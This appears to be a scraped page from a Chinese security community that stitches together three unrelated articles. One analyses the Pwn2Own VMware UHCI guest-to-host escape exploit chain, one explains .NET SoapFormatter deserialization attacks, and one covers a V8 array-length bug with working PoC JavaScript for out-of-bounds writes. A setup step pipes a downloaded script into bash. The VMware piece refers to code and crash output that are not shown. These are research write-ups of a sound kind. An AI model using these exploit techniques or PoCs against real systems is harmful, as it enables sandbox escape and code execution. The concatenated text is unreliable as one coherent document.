译文仅供参考，具体内容表达以及含义原文为准。
在今年的温哥华Pwn2Own比赛期间，Fluoroacetate团队展示了他们通过利用VMware
Workstation从客户机虚拟机逃逸到物理机。他们利用虚拟USB 1.1 UHCI（通用主机控制器接口）中的越界读/写漏洞来达到此目的。
Fluoroacetate 通过此漏洞赢得了Pwn2Own温哥华的Pwn Smrter大奖，总奖金为340,000美元，还得到了一个全新的Tesla
Model
3。他们为VMware编写了两个漏洞利用程序，都是针对通用主机控制器接口（UHCI）的。第一个是基于堆的溢出，另一个是一个条件竞争漏洞。这两个漏洞都需要guest虚拟机操作系统上的Admin权限才能利用成功。
在这篇分析中，我将介绍基于堆的缓冲区溢出漏洞，这是我最喜欢的Pwn2Own漏洞之一。
### 漏洞描述
在处理发送到批量端点的特定UHCI请求时存在一个堆溢出漏洞，这些端点主要用于传输大量数据，这个漏洞也可用于触发一个越界写。
首先，当端点接收到用于处理的帧时，它会从相应的帧中提取传输描述符（TD），检查是否存在URB对象。如果不存在对象，则通过名为“NewUrb”的函数分配新的URB对象。
URB对象简述：英特尔UHCI规范提到的URB对象是USB中的一个请求块，研究发现，从`NewUrb`函数返回的对象是一个围绕有效规范USB请求块（URB）的包装器结构。检查TD的类型以及缓冲区大小后，如果TD类型是0xE1（USB_PID_OUT），那么TD缓冲区被复制到从中返回的对象内的缓冲区`NewUrb`函数。如果TD对象的类型不是0xE1，则它会传递缓冲区指针（在代码中引用`purb_data_cursor`）。
触发漏洞并不难，只要创建一个TD对象，在token属性中设置正确的长度以及`0x1E/USB_PID_OUT`类型就可以触发。
可以参阅下面的PoC代码：
WinDbg附加的崩溃结果显示，已经控制了程序流程：
上面的崩溃现场是一个基于堆的缓冲区溢出漏洞。但是，如果想要达到越界写，那么必须创建更多不同类型的TD，这对于利用此漏洞至关重要。之后再创建另一个类型为USB_PID_OUT的TD对象来触发写入。
### 漏洞分析
为了允许VMware客户计算机访问USB设备，VMware会安装guest虚拟机中指定的内核设备驱动程序`uhci_hcd`，“hcd”代表“主机控制器驱动程序”。此驱动程序允许guest虚拟机与主机端的主机控制器接口（HCI）进行通信，主机端是主机用于与物理USB端口通信的硬件接口。通过向USB设备定义的各种端点发送或接收USB请求块（URB）分组来完成通信。USB设备的每个端点用于接收来自主机（OUT）的数据包，或者将数据包发送到主机（IN）。通过将特制的OUT数据包发送到称为批量端点的特定端点来触发此漏洞。
由`uhci_hcd`驱动程序处理的数据包由`uhci_td`（传输描述符）结构在内存中表示如下：
该`token`字段包含不可见的某些位对齐子字段，最低的8位表示“分组ID”，它定义了分组的类型。前10位是一个名为MaxLen的长度字段。
要触发此漏洞，guest虚拟机必须发送精心构造的TD结构，将Packet
ID设置为OUT（0xE1）。此外，由`MaxLen`子字段指示的TD的缓冲区长度必须大于0x40字节才能溢出堆上的对象。通过将windbg附加到vmware-vmx.exe并触发漏洞，会收到以下漏洞崩溃场景：
回溯调用堆栈显示了一系列处理UHCI请求的函数：
`memcpy`崩溃进程的调用是在从TD的缓冲区复制数据的过程中发生的：
这是`memcpy`从TD缓冲区复制到堆中的内容：
让我们看看目标缓冲区大小是多少：
缓冲区的大小为0x58，因为`vmware-vmx`分配了[number_of_TD_structures]
_0x40+0x18大小的目标缓冲区。现在只发送了一个TD结构，缓冲区大小是`1_ 0x40+0x18=0x58`字节。
在这个`memcpy`调用中，我们可以精确地确定要复制的字节数。为此，我们将`MaxLen`OUT
TD的`token`字段（从21位到31位）中的子字段设置为所需的`memcpy`大小减1。
现在就可以溢出堆布局了，除了溢出堆之外还能利用此漏洞执行其他越界写。调用函数`NewURB()`（位于`vmware_vmx+0x165710`）以处理传入的URB数据包。每次函数`NewURB()`接收TD时，它都会将TD的`MaxLen`值添加到cursor
变量中。cursor 变量指向函数接收TD结构时应该写入的位置，以这种方式，该`MaxLen`字段可用于在处理后续TD时控制目的地址。
### 漏洞利用
为了利用此漏洞，必须进行`vmware-vmx`进程堆的布局。漏洞利用主要依赖于客户端上的SVGA3D协议，它用于通过SVGA
FIFO与主机通信。在后端VMware使用DX11Renderer组件处理请求。漏洞利用代码从初始化阶段开始，初始化SVGA
FIFO内存，然后分配SVGA3D对象表。
利用该漏洞可以尝试创建未分配内存块，每个都具有0x158字节的大小。这正是将一定数量的TD与缓冲区头一起分配所需的大小。TD可能会在其中一个漏洞内分配，在每个漏洞之后，漏洞利用尝试放置一个称为“资源容器”的0x150字节结构表示数据。
漏洞利用代码使用以下步骤准备堆内存：
定义并绑定大小为0x5000的Context内存对象。
定义SPRAY_OBJ大小为0x1000 的内存对象（），利用漏洞重复绑定结构。
定义大小为0x158的2400个着色器，将它们绑定到SPRAY_OBJ。之后，该漏洞利用代码用于SVGA_3D_CMD_SET_SHADER在主机中。
执行以下操作：
—-取消分配每个偶数编号的容器。
—-创建一个表，分配一个大小为0x150的资源容器。此外，主机将分配大小为0x160的关联数据缓冲区。由于大小不同，这些数据缓冲区将位于低碎片堆（LFH）的单独区域中。每个0x150字节的资源容器将包含指向其关联的0x160字节数据缓冲区的指针。
—-再创建两个表，分配另外两个大小为0x160的资源容器。由于它们的大小，在此步骤中分配的资源容器将位于上一步骤的0x160字节数据缓冲区附近的内存中。下面将解释这些“相邻”资源容器的目的。
释放所有剩余容器，释放大小为0x158的块。这些大小为0x158的块将与大小为0x150的资源容器交替放置。
#### 越界写入
在分析漏洞利用的结构之前，我们先看一下触发漏洞的WriteOOB函数。`WriteOOB`在整个漏洞利用期间，为了不同的目的会被多次调用，例如泄漏`vmware-vmx.exe`和`kernel32.dll`基址，以及最终的代码执行步骤。函数的参数如下：
`WriteOOB()(void * data, size_t data_size, uint32_t offset)`
该`data`参数是一个指向缓冲区的指针，该缓冲区包含我们打算写入主机堆栈的数据。该`size`参数指定数据的长度。最后，该`offset`参数指定要写入数据的位置，相对于将被损坏的资源容器的头部。
该函数首先分配和初始化帧列表和五个TD结构。此函数发送五个TD结构，因此堆上分配的缓冲区大小将为`5*0x40+0x18=0x158`。
`link`除了最后的TD结构之外，每个TD结构使用该字段链接到下一个TD结构。对于前三个TD结构，`MaxLen`子字段设置为0x40。前三个TD结构的分组ID子字段被设置为`USB_PID_SOF`，因此对于每个TD结构，cursor将被往前送0x41字节。第四TD结构的分组ID也被设置为`USB_PID_SOF`，但是对于该TD，`MaxLen`被设置为从`offset`参数计算的值。这使cursor前进了一个可控量。在第五TD中，分组ID被设置为`USB_PID_OUT`，以便将`data`缓冲器的内容写入cursor位置。
#### 内存泄漏并绕过ASLR
既然漏洞利用原语已经写好，那么利用的第一步就是泄漏vmware-vmx.exe的基址。可以通过在TD之后立即破坏资源容器中数据缓冲区的指针来完成的。该指针位于资源容器内的偏移量0x138处，该漏洞通过将其替换为0x00来破坏数据指针的最低有效字节。当引用损坏的指针时，它不再指向数据缓冲区，它会指向位于数据缓冲区附近的0x160字节“相邻”资源容器之一。在这些资源容器中有一些函数指针，因此当数据被复制回guest虚拟机时，`vmware-vmx.exe`会显示基址：
为了精确修改数据指针，需要移动cursor 的字节数如下：
·最初，cursor指向大小为0x158的缓冲区的开头，考虑到第一个0x18字节被保留为缓冲区头，我们只能控制0x140字节。
·0x8字节由以下资源容器的堆块头占用。
·资源容器中数据指针的偏移量为0x138。
总和为0x140 + 0x8 + 0x138 = 0x280，这是cursor必须移动的字节数，指向我们打算修改的字节。
为了将泄漏的函数指针写回到guest虚拟机，该漏洞利用迭代2400个字节堆喷并使用每个映射获取数据`SVGA_3D_CMD_SURFACE_COPY`。然后继续迭代，直到找到泄露的显示`vmware-vmx.exe`基址的函数指针。
为了找到`kernel32.dll`基址，该漏洞利用相同的过程和用于查找的vmware-vmx.exe基址偏移，有一些不同的是，它不是修改指针的单个字节，而是覆盖整个数据指针`vmware_vmx_base_address+0x7D42D8`，这是地址`Kernel32!MultiByteToWideCharStub`存储在导入地址表中的地方。这里就是`kernel32.dll`基地址。
#### 代码执行
为了实现代码执行，漏洞再次覆盖堆上的资源容器。这次，漏洞会覆盖资源容器的0x120字节。这个过程完成了三件事：
1 – 将字符串写入`calc.exe`资源容器。
2 – 填写资源容器的某些必要字段。
3 – 覆盖资源容器中偏移量0x120处的函数指针，指向`kernel32!WinExec`。
损坏的资源容器在损坏后的样子：
结果是当guest调用`SVGA_3D_CMD_SURFACE_COPY`此损坏的资源容器时，`WinExec`将调用函数指针，将`calc.exe`字符串的地址作为第一个参数传递。该漏洞必须遍历所有2400个表面，以确保使用损坏的资源容器。
#### 漏洞利用总结
总结如下漏洞利用：
1.堆风水：
分配大小为0x158的2400个shader。
释放大小为0x158的备用shader。
对于每个解除分配的shader，使用大小为0x150的资源容器填充。在此资源容器中，将有一个指向大小为0x160的关联数据缓冲区的指针。还要创建另外两个shader，分配两个大小为0x160且与数据缓冲区相邻的资源容器。
2.泄漏vmware-vmx.exe基地址（迭代64次，直到找到地址）：
调用`WriteOOB`破坏大小为0x150的资源容器并将指针的最低有效字节修改到其数据缓冲区，以便它指向相邻的0x160字节资源容器。该内存包含一些函数指针。
遍历2400个shader并使用数据将数据写回到客户端，`SVGA_3D_CMD_SURFACE_COPY`直到找到泄漏的指针。
3.泄漏kernel32.dll基地址（迭代64次，直到找到地址）：
调用`WriteOOB`破坏大小为0x150的资源容器，并`kernel32.dll`使用导入表中的函数地址修改指向其数据缓冲区的指针VMWare的vmx.exe。
遍历2400个shader并使用数据将数据写回来`SVGA_3D_CMD_SURFACE_COPY`直到找到泄漏的指针。
4.虚拟机逃逸并获得代码执行权限（迭代64次，直到我们执行）：
调用`WriteOOB`以破坏大小为0x150的资源容器。编写“calc.exe”字符串并使用地址修补函数指针`kernel32!WinExec`。
`WinExec`通过迭代穿过2400个shader并使用它们将它们写回guest来触发`SVGA_3D_CMD_SURFACE_COPY`。
### 漏洞总结
对于某些内存损坏漏洞，可以通过执行VMware guest-to-host，利用漏洞可以通过采用半暴力方式获得代码执行。在VMware中发现可利用的漏洞仍然是一个挑战，但一旦发现漏洞，利用难度也不会很大。VMware
SVGA提供各种操作和对象，例如资源容器和shader。根据它们的可调整大小以及它们存储的数据和函数指针，这些在漏洞利用的角度来看是很有用的。 | 社区文章 |
**原文来自安全客，作者：Ivan1ee@360云影实验室
原文链接：<https://www.anquanke.com/post/id/176499> **
相关阅读：
* [《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》](https://paper.seebug.org/837/ "《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》")
* [《.NET 高级代码审计（第二课） Json.Net 反序列化漏洞》](https://paper.seebug.org/843/ "《.NET 高级代码审计（第二课） Json.Net 反序列化漏洞》")
* [《.NET高级代码审计（第三课）Fastjson反序列化漏洞》](https://paper.seebug.org/849/ "《.NET高级代码审计（第三课）Fastjson反序列化漏洞》")
* [《.NET高级代码审计（第四课） JavaScriptSerializer 反序列化漏洞》](https://paper.seebug.org/865/ "《.NET高级代码审计（第四课） JavaScriptSerializer 反序列化漏洞》")
* [《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》](https://paper.seebug.org/881/ "《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》")
* [《.NET高级代码审计（第六课） DataContractSerializer反序列化漏洞》](https://paper.seebug.org/882/ "《.NET高级代码审计（第六课） DataContractSerializer反序列化漏洞》")
* [《.NET高级代码审计（第七课） NetDataContractSerializer反序列化漏洞》](https://paper.seebug.org/890/ "《.NET高级代码审计（第七课） NetDataContractSerializer反序列化漏洞》")
### 0x00 前言
SoapFormatter格式化器和下节课介绍的BinaryFormatter格式化器都是.NET内部实现的序列化功能的类，SoapFormatter直接派生自System.Object，位于命名空间System.Runtime.Serialization.Formatters.Soap，并实现IRemotingFormatter、IFormatter接口，用于将对象图持久化为一个SOAP流，SOAP是基于XML的简易协议，让应用程序在HTTP上进行信息交换用的。但在某些场景下处理了不安全的SOAP流会造成反序列化漏洞从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。
### 0x01 SoapFormatter序列化
SoapFormatter类实现的IFormatter接口中定义了核心的Serialize方法可以非常方便的实现.NET对象与SOAP流之间的转换，可以将数据保存为XML文件，官方提供了两个构造方法。
下面还是用老案例来说明问题，首先定义TestClass对象
定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
常规下使用Serialize得到序列化后的SOAP流，通过使用XML命名空间来持久化原始程序集，例如下图TestClass类的开始元素使用生成的xmlns进行限定，关注a1
命名空间
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<a1:TestClass id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/WpfApp1/WpfApp1%2C%20Version%3D1.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Dnull">
<classname id="ref-3">360</classname>
<name id="ref-4">Ivan1ee</name>
<age>18</age>
</a1:TestClass>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
### 0x02 SoapFormatter反序列化
#### 2.1、反序列化用法
SoapFormatter类反序列化过程是将SOAP消息流转换为对象，通过创建一个新对象的方式调用Deserialize多个重载方法实现的，查看定义得知实现了IRemotingFormatter、IFormatter接口，
查看IRemotingFormatter接口定义得知也是继承了IFormatter
笔者通过创建新对象的方式调用Deserialize方法实现的具体实现代码可参考以下
反序列化后得到TestClass类的成员Name的值。
#### 2.2、攻击向量—ActivitySurrogateSelector
在SoapFormatter类的定义中除了构造函数外，还有一个SurrogateSelector属性，
SurrogateSelector便是代理选择器，序列化代理的好处在于一旦格式化器要对现有类型的实例进行反序列化，就调用由代理对象自定义的方法。查看得知实现了ISurrogateSelector接口，定义如下
因为序列化代理类型必须实现System.Runtime.Serialization.ISerializationSurrogate接口，ISerializationSurrogate在Framework
Class Library里的定义如下：
图中的GetObjectData方法在对象序列化时进行调用，目的将值添加到SerializationInfo集合里，而SetObjectData方法用于反序列化，调用这个方法的时候需要传递一个SerializationInfo对象引用，
**换句话说就是使用SoapFormatter类的Serialize方法的时候会调用GetObjectData方法，使用Deserialize会调用SetObjectData方法。**
SoapFormatter类还有一个非常重要的属性SurrogateSelector，定义如下
在序列化对象的时候如果属性SurrogateSelector属性的值非NULL便会以这个对象的类型为参数调用其GetSurrogate方法，如果此方法返回一个有效的对象ISerializationSurrogate，这个对象对找到的类型进行反序列化，这里就是一个关键的地方，我们要做的就是实现重写ISerializationSurrogate调用自定义代码，如下Demo
代码中判断类型解析器IsSerializable属性是否可用，如果可用直接基类返回，如果不可用就获取派生类
System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector的类型，然后交给Activator创建实例
再回到GetObjectData方法体内，另外为了对序列化数据进行完全控制，就需要实现Serialization.ISeralizable接口，定义如下：
有关更多的介绍请参考《.NET高级代码审计第二课 Json.Net反序列化漏洞》，在实现自定义反序列类的时通过构造方法读取攻击者提供的PocClass类
下图定义了PayloadClass类实现ISerializable接口，然后在GetObjectData方法里又声明泛型List集合接收byte类型的数据
将PocClass对象添加到List集合，声明泛型使用IEnumerable集合map_type接收程序集反射得到的Type并返回IEnumerable类型，最后用Activator.CreateInstance创建实例保存到
e3此时是一个枚举集合的迭代器。
上图将变量e3填充到了分页控件数据源，查看PageDataSource类定义一目了然，
除此之外System.Runtime.Remoting.Channels.AggregateDictionary返回的类型支持IDictionary，然后实例化对象DesignerVerb并随意赋值，此类主要为了配合填充MenuCommand类properties属性的值，最后为哈希表中的符合条件的buckets赋值。
接下来用集合添加数据源DataSet，DataSet和DataTable对象继承自System.ComponentModel.MarshalByValueComponent类，可序列化数据并支持远程处理ISerializable接口，这是ADO.NET对象中仅有支持远程处理的对象，并以二进制格式进行持久化。
更改属性DataSet.RemotingFormat值为SerializationFormat.Binary，更改属性DataSet.CaseSensitive为false等，再调用BinaryFormatter序列化List集合，如下图。
因为指定了RemotingFormat属性为Binary，所以引入了BinaryFormatter格式化器并指定属性SurrogateSelector代理器为自定义的MySurrogateSelector类。序列化后得到SOAP-XML，再利用SoapFormatter对象的Deserialize方法解析读取文件内容的流数据，成功弹出计算器
#### 2.3、攻击向量—PSObject
由于笔者的Windows主机打过了CVE-2017-8565（Windows
PowerShell远程代码执行漏洞）的补丁，利用不成功，所以在这里不做深入探讨，有兴趣的朋友可以自行研究。有关于补丁的详细信息参考：
<https://support.microsoft.com/zh-cn/help/4025872/windows-powershell-remote-code-execution-vulnerability>
### 0x03 代码审计视角
#### 3.1、XML载入
从代码审计的角度找到漏洞的EntryPoint，传入XML，就可以被反序列化，这种方式也是很常见的，需要关注一下，LoadXml直接载入xml数据，这个点也可以造成XXE漏洞。例如这段代码：
这种污染点漏洞攻击成本很低，攻击者只需要控制传入字符串参数source便可轻松实现反序列化漏洞攻击，弹出计算器。
#### 3.2、File读取
这段是摘自某个应用的代码片段，在审计的时候只需要关注DeserializeSOAP方法中传入的path变量是否可控。
### 0x04 总结
实际开发中SoapFormatter 类从.NET Framework
2.0开始，这个类已经渐渐过时了，开发者选择它的概率也越来越少，官方注明用BinaryFormatter来替代它，下篇笔者接着来介绍BinaryFormatter反序列化漏洞。最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，欢迎大伙持续关注，交流，更多的.NET安全和技巧可关注实验室公众号。
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
## 环境搭建
编译存在漏洞的v8源码：
git reset --hard 64cadfcf4a56c0b3b9d3b5cc00905483850d6559
gclient sync
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug
安装Turbolizer可视化工具：
（1）安装npm
Ubuntu下默认的apt里面的nodejs不好使，安装最新版的
python-software-properties 有些情况下可能会找不到，然后会提示你安装另一个包，如果是这样的话根据提示安装那个包就好了。
sudo apt-get install curl python-software-properties
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash - sudo apt-get install nodejs
sudo apt-get install npm
（2）启动
cd v8/v8/tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer 8000
之后通过chrome浏览器访问 127.0.0.1:8000
（3）生成Turbolizer文件
./d8 --trace-turbo ./poc.js
## 基础知识
### JavaScript splice() 方法
定义和用法
splice() 方法向/从数组中添加/删除项目，然后返回被删除的项目。
注释：该方法会改变原始数组。
语法：
arrayObject.splice(index,howmany,item1,.....,itemX)
index 必需。整数，规定添加/删除项目的位置，使用负数可从数组结尾处规定位置。
howmany 必需。要删除的项目数量。如果设置为 0，则不会删除项目。
item1, ..., itemX 可选。向数组添加的新项目。
### Array.prototype.concat.apply
apply方法会调用一个函数，apply方法的第一个参数会作为被调用函数的this值，apply方法的第二个参数（一个数组，或类数组的对象）会作为被调用对象的arguments值，也就是说该数组的各个元素将会依次成为被调用函数的各个参数；
简单来说，该方法可以将多维数组转化成一维数组。
### Math.max()
函数返回一组数中的最大值。
### v8 指针压缩
为了节省内存空间，v8将64位的指针压缩成了32位，具体做法是将高32位存放在r13寄存器，用4个字节存储低32位，在访问某个指针时，就将低32位指针加上r13保存的高32位。
同时，为了进一步节省内存空间，之前SMI 存储为value «
32，低32位都为0，现在用SMI的值用4个字节存储，并且为了不和指针混淆，最后一位不用（指针最后一位为1），所以将value «
1，相当于将原来的值乘以了2。
demo 代码如下：
var a = [0, 1, 2, 3, 4];
%DebugPrint(a);
%SystemBreak();
### v8各个类型的转化
PACKED_SMI_ELEMENTS：小整数，又称 Smi。
PACKED_DOUBLE_ELEMENTS： 双精度浮点数，浮点数和不能表示为 Smi 的整数。
PACKED_ELEMENTS：常规元素，不能表示为 Smi 或双精度的值。
转化关系如下：
元素种类转换只能从一个方向进行：从特定的（例如 PACKED_SMI_ELEMENTS）到更一般的（例如
PACKED_ELEMENTS）。例如，一旦数组被标记为 PACKED_ELEMENTS，它就不能回到 PACKED_DOUBLE_ELEMENTS。
demo 代码：
const array = [1, 2, 3];
// elements kind: PACKED_SMI_ELEMENTS
array.push(4.56);
// elements kind: PACKED_DOUBLE_ELEMENTS
array.push('x');
// elements kind: PACKED_ELEMENTS
PACKED 转化到 HOLEY类型：
demo代码：
const array = [1, 2, 3, 4.56, 'x'];
// elements kind: PACKED_ELEMENTS
array.length; // 5
array[9] = 1; // array[5] until array[8] are now holes
// elements kind: HOLEY_ELEMENTS
即将密集数组转化到稀疏数组。
### 处理优化的各个阶段
## 漏洞分析
漏洞在于CodeStubAssembler::AllocateFixedArray 的两个宏实现：
macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {
if (length == 0) return kEmptyFixedArray;
return new
FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
}
macro NewFixedDoubleArray<Iterator: type>(
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
if (length == 0) return kEmptyFixedArray;
return new FixedDoubleArray{
map: kFixedDoubleArrayMap,
length: Convert<Smi>(length)
floats: ...it
};
}
在两个宏实现中都没有对length的边界大小进行判断就直接新建相应对象，其中FixedArray对象最大长度FixedArray::kMaxLength为0x7fffffd，FixedDoubleArray对象最大长度为FixedDoubleArray::kMaxLength为0x3fffffe。
所以漏洞在于能够创建大于kMaxLength的FixedArray或FixedDoubleArray对象。
漏洞调用链：
// builtins/array-splice.tq
ArrayPrototypeSplice -> FastArraySplice -> FastSplice -> Extract -> ExtractFixedArray -> NewFixedArray
Poc1：
array = Array(0x80000).fill(1); // [1]
array.prop = 1; // [2]
args = Array(0x100 - 1).fill(array); // [3]
args.push(Array(0x80000 - 4).fill(2)); // [4]
giant_array = Array.prototype.concat.apply([], args); // [5]
giant_array.splice(giant_array.length, 0, 3, 3, 3, 3); // [6]
%DebugPrint(giant_array.length); // 输出DebugPrint: Smi: 0x8000000 (134217728)
[1] 处申请了一个0x80000大小的数组，[3]处又创建了一个0xff大小，每个元素为array的对象，此时0xff * 0x80000 =
0x7f80000 个元素。[4] 处再push进一个0x7fffc个元素的数组，此时共有0x7f80000 + 0x7fffc =
0x7fffffc个元素，而FixedDoubleArray::kMaxLength =
0x7fffffd。[5]处利用Array.prototype.concat.apply
将上述混合的对象转化成一维数组。最后，[6]处再次利用splice方法添加4个元素，现在一共有0x7fffffc + 4 =
0x8000000个元素，导致giant_array的长度为FixedArray::kMaxLength + 3。
[2] 处设置属性是为了调用Array.prototype.concat时进入慢路径，因为快路径上有长度检查：
// builtins/builtins-array.cc:1414
MaybeHandle<JSArray> Fast_ArrayConcat(Isolate* isolate,
BuiltinArguments* args) {
// ...
// Throw an Error if we overflow the FixedArray limits
if (FixedDoubleArray::kMaxLength < result_len ||
FixedArray::kMaxLength < result_len) {
AllowHeapAllocation gc;
THROW_NEW_ERROR(isolate,
NewRangeError(MessageTemplate::kInvalidArrayLength),
JSArray);
}
Poc2 和Poc1
类似，只是将数组类型改成了HOLEY_DOUBLE_ELEMENTS，因为HOLEY_DOUBLE_ELEMENTS类型大小最大为0x3fffffe，能更快地触发漏洞。
Poc2：
// HOLEY_DOUBLE_ELEMENTS kind, size=0x40000, filled with 1.1's
array = Array(0x40000).fill(1.1);
// Total number of elements in `args`: 0x40000 * 0xff = 0x3fc0000
args = Array(0x100 - 1).fill(array);
// We want a size that's just less than FixedDoubleArray::kMaxLength = 0x3ffffe
// This new array that is pushed onto `args` can actually have a maximum size
// of (0x40000 - 2), but Sergey chooses to use (0x40000 - 4)
// Total number of elements in `args`: 0x3fc0000 + 0x3fffc = 0x3fffffc
args.push(Array(0x40000 - 4).fill(2.2));
// `Array.prototype.concat` fast path, the length check passes as the final
// length of `giant_array` becomes 0x3fffffc, which is equal to
// `FixedDoubleArray::kMaxLength - 2`
giant_array = Array.prototype.concat.apply([], args);
// No length check on `Array.prototype.splice`, `giant_array.length` is now
// 0x3ffffff, which is `FixedDoubleArray::kMaxLength + 1`
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0); // [1]
let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
在Turbolizer V8.TFTyper 137 中可以看到Poc2的执行过程：
Turbolizer 认为array.length的长度应该处于Double Array的size范围内，为(0,
67108862)，而实际array.length 为67108863，导致后续的计算和实际结果并不相同。具体计算过程如下：
function trigger(array) {
var x = array.length; // Range(0, 67108862), actual: Range(0, 67108863), x = 67108863
x -= 67108861; // Range(-67108861, 1), actual: Range(-67108861, 2), x = 2
x = Math.max(x, 0); // Range(0, 1), actual: Range(0, 2), x = 2
x *= 6; // Range(0, 6), actual: Range(0, 12), x = 12
x -= 5; // Range(-5, 1), actual: Range(-5, 7), x = 7
x = Math.max(x, 0); // Range(0, 1), actual: Range(0, 7), x = 7
// [...]
}
最后得到x的值为7，而Turbolizer认为x的范围为（0，1），后续可以造成越界访问。
关键是后续越界写时，会有MaybeGrowFastElements检查是否将数组类型转成稀疏数组，如下图，图中的CheckBounds是用于检查数组索引是否大于'length+1024'，如果大于'length+1024'，就会将backing
store转成字典，无法进行优化，所以越界读写也有范围限制，要突破该限制，可以在后面布置一个浮点型数组，修改其length，构造另一个可越界读写的数组，且没有限制。
图中左边红框NumberSilenceNaN
表示length_as_double，而索引x的判断经由右边的CheckBounds检查和MaybeGrowFastElements检查，最后在StoreElement
进行"corrupting_array[x] = length_as_double;" 存储。
CheckBounds检查经过之前的处理，x的范围已经被认为是为（0，1），接下来我们看在 **LoadElimination**
阶段如何优化消除了MaybeGrowFastElements ：
**LoadElimination** 阶段遇到MaybeGrowFastElements 节点会调用ReduceMaybeGrowFastElements
尝试进行优化消除：
// compiler/typed-optimization.cc:166
Reduction TypedOptimization::ReduceMaybeGrowFastElements(Node* node) {
Node* const elements = NodeProperties::GetValueInput(node, 1);
Node* const index = NodeProperties::GetValueInput(node, 2); // [1]
Node* const length = NodeProperties::GetValueInput(node, 3); // [2]
Node* const effect = NodeProperties::GetEffectInput(node);
Node* const control = NodeProperties::GetControlInput(node);
Type const index_type = NodeProperties::GetType(index);
Type const length_type = NodeProperties::GetType(length);
// Both `index` and `length` need to be unsigned Smis
CHECK(index_type.Is(Type::Unsigned31()));
CHECK(length_type.Is(Type::Unsigned31()));
if (!index_type.IsNone() && !length_type.IsNone() && // [3]
index_type.Max() < length_type.Min()) {
Node* check_bounds = graph()->NewNode( // [4]
simplified()->CheckBounds(FeedbackSource{},
CheckBoundsFlag::kAbortOnOutOfBounds),
index, length, effect, control);
ReplaceWithValue(node, elements); // [5]
return Replace(check_bounds);
}
return NoChange();
}
由上述可知：[1] 处为索引的值，范围为（0，1），[2]处为corrupting_array的length，范围为(0,
134217725)，经过优化后变为(2, 2)，因为循环中corrupting_array赋值只有两个元素，并且没有被修改。所以[3]
处的index_type.Max()为1， length_type.Min()为2，说明索引比数组长度小，并不需要对数组进行扩展。
进入if判断后，[4]
处创建一个新的CheckBounds节点（假设为node_x），会检查实际index是否小于数组大小，如果创建成功，实际index此时为7，不会小于数组大小，无法通过检查。但[5]
处的 ReplaceWithValue(node, elements);操作会导致CheckBounds节点无法创建成功。
ReplaceWithValue 函数如下：
void GraphReducer::ReplaceWithValue(Node* node, Node* value, Node* effect,
Node* control) {
if (effect == nullptr && node->op()->EffectInputCount() > 0) {
effect = NodeProperties::GetEffectInput(node); // [1]
}
if (control == nullptr && node->op()->ControlInputCount() > 0) {
control = NodeProperties::GetControlInput(node);
}
// Requires distinguishing between value, effect and control edges.
for (Edge edge : node->use_edges()) { // [2]
Node* const user = edge.from();
DCHECK(!user->IsDead());
if (NodeProperties::IsControlEdge(edge)) {
if (user->opcode() == IrOpcode::kIfSuccess) {
Replace(user, control);
} else if (user->opcode() == IrOpcode::kIfException) {
DCHECK_NOT_NULL(dead_);
edge.UpdateTo(dead_);
Revisit(user);
} else {
DCHECK_NOT_NULL(control);
edge.UpdateTo(control);
Revisit(user);
}
} else if (NodeProperties::IsEffectEdge(edge)) {
DCHECK_NOT_NULL(effect);
edge.UpdateTo(effect); // [3]
Revisit(user);
} else {
DCHECK_NOT_NULL(value);
edge.UpdateTo(value); // [4]
Revisit(user);
}
}
}
void UpdateTo(Node* new_to) {
Node* old_to = *input_ptr_;
if (old_to != new_to) {
if (old_to) old_to->RemoveUse(use_);
*input_ptr_ = new_to;
if (new_to) new_to->AppendUse(use_);
}
}
...
void Node::RemoveUse(Use* use) {
DCHECK(first_use_ == nullptr || first_use_->prev == nullptr);
if (use->prev) {
DCHECK_NE(first_use_, use);
use->prev->next = use->next; // 将use移走
} else {
DCHECK_EQ(first_use_, use);
first_use_ = use->next;
}
if (use->next) {
use->next->prev = use->prev;
}
}
[2] 处是遍历节点的use边，此时节点为MaybeGrowFastElements，use边为"MaybeGrowFastElements <\---StoreElement "，该循环的作用是将use边的"input node"（此处为MaybeGrowFastElements节点）通过[4]
处的edge.UpdateTo(value) -> Node::RemoveUse
的链表操作将节点移走，替换成传进的参数value（即LoadField[+8] 节点）。
效果如下：
value value
LoadField[+8] <--- MaybeGrowFastElements <--- StoreElement
edge edge
将MaybeGrowFastElements节点移走：
LoadField[+8] <--- StoreElement
MaybeGrowFastElements节点的input 边和 use边 关系如下图所示：
